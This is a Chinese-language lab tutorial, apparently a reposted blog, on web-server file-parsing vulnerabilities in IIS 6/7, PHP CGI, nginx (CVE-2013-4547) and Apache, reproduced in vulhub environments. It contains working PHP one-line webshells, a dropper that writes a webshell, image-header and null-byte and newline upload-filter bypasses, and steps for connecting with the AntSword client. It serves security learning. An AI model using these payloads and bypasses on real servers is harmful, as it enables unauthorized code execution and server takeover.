赞
踩
在iis6.x版本中存在可以将任意文件当作asp文件解析的漏洞,我们在网站目录下创建一个名为1.asp的文件夹,则在其中的任何文件都会当作asp文件去运行,如下
先在默认网站中右键,点击打开
然后在这里创建一个1.asp的文件夹,再创建一个内容为<%=now()%>(这个函数为查看当前时间)的txt文件,将1.txt放入1.asp中,然后用物理机去访问,即可得到当前时间
用ipconfig查看虚拟机IP后去物理机访问192.168.209.133/1.asp/1.txt
当我们在网站目录下创建一个名为1.asp.;.jpg的文件,内容同样为<%=now()%>,当我们去访问时,也会得到当前时间,这证明该文件虽然后缀名为jpg,但是他也会被当作asp文件运行。
在IIS7.0和IIS7.5版本下也存在解析漏洞,在默认Fast-CGI开启状况下,在一个文件路径/xx.jpg后面加上/xx.php会将/xx.jpg/xx.php 解析为 php 文件。接下来我们尝试复现,首先打开配置文件php.ini,查找cgi.fix_pathinfo=1,将前面的分号;删除
然后到网站目录下创建一个名为1.jpg的文件,右键用记事本打开,内容改为<?php phpinfo(); ?>,保存后访问
在url后面加上/1.jpg/.php,这个jpg文件就会被当作php文件去运行
这个解析漏洞是PHP CGI的漏洞,在PHP的配置文件中有一个关键的选项cgi.fix_pathinfo同样是默认开启的,当URL中有不存在的文件,PHP就会向前递归解析。在一个文件/xx.jpg后面加上/.php会将/xx.jpg/xx.php 解析为 php 文件。
我们来复现以下,这里需要用到vulhub靶场,我们进去后页面是这样的
在这里我们需要上传一个后缀为jpg的文件,内容如下,其中GIF89a为图片的代码头,这个靶场对于上传的文件会检测他的头部是否为图片文件,所以加个图片头可以混淆视听,而<?php @eval($_POST['cmd']); ?>是一句话木马,正常运行访问后我们就可以去获取shell权限
保存后我们去上传,就可以直接上传成功
当我们去直接访问这个图片时会显示图片错误,但是当我们在url中加入/.php后再次访问,会发现成功访问
然后我们用蚁剑连接,发现成功连接
使用以下命令启动靶机
- #启动靶场
- cd vulhub-master/nginx/CVE-2013-4547x
- //切换到靶机目录
- docker-compose build
- //创建环境
- docker-compose up -d
- //打开环境
进入靶机页面后,我们看到这也可以上传文件,直接上传php文件肯定是不行的,这里我们需要开启抓包然后上传一个jpg文件我这里为(233.jpg),内容为
- <?php
- @fputs(fopen('2331.php',w),'<?php @eval($_POST['cmd']); ?>');
- ?>
访问它后会在当前目录下生成一个名为2331.php的内容为一句话木马的文件
然后在filename位置的文件名称后输入 .php(前面有两个空格),然后到hex中找到这两个空格所对应的十六进制编码(一般在靠近下面的部分),将一个20改为00后回车保存,放包
然后我们就可以发现,上传成功了
接下来就要进行访问了,访问与上传一样,也需要进行抓包,在抓到的包中将两个%20删除改为两个空格,然后到hex中将一个20改为00后放包
成功访问后我们尝试访问名为2331.php的文件发现访问成功,然后就可以去用蚁剑连接
环境搭建命令如下
- cd /vulhub/httpd/apache_parsing_vulnerability
- docker-compose up -d
- docker ps -a
打开并访问靶机后,我们上传一个名为1.php.jpg的文件,内容为
- <?php
- @eval($_POST['cmd']);
- ?>
可以直接上传成功,我们尝试访问后也成功访问
然后尝试用蚁剑连接,发现连接成功
这一关进入靶场后发现可以给上传的文件改变名称,我们直接上传一个后缀为php的文件,内容为一句话木马,随便起一个名字(这里为2332.php)
- <?php
- @eval($_POST['cmd']);
- ?>
然后抓包进行提交,在2332.php文件后加一个空格,打开hex界面,将添加的这个空格所属的20改为0a后放行
放行后没有回显信息告诉我们是否上传成功,所以我们直接去尝试访问,发现访问成功,用蚁剑连接也成功连接
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。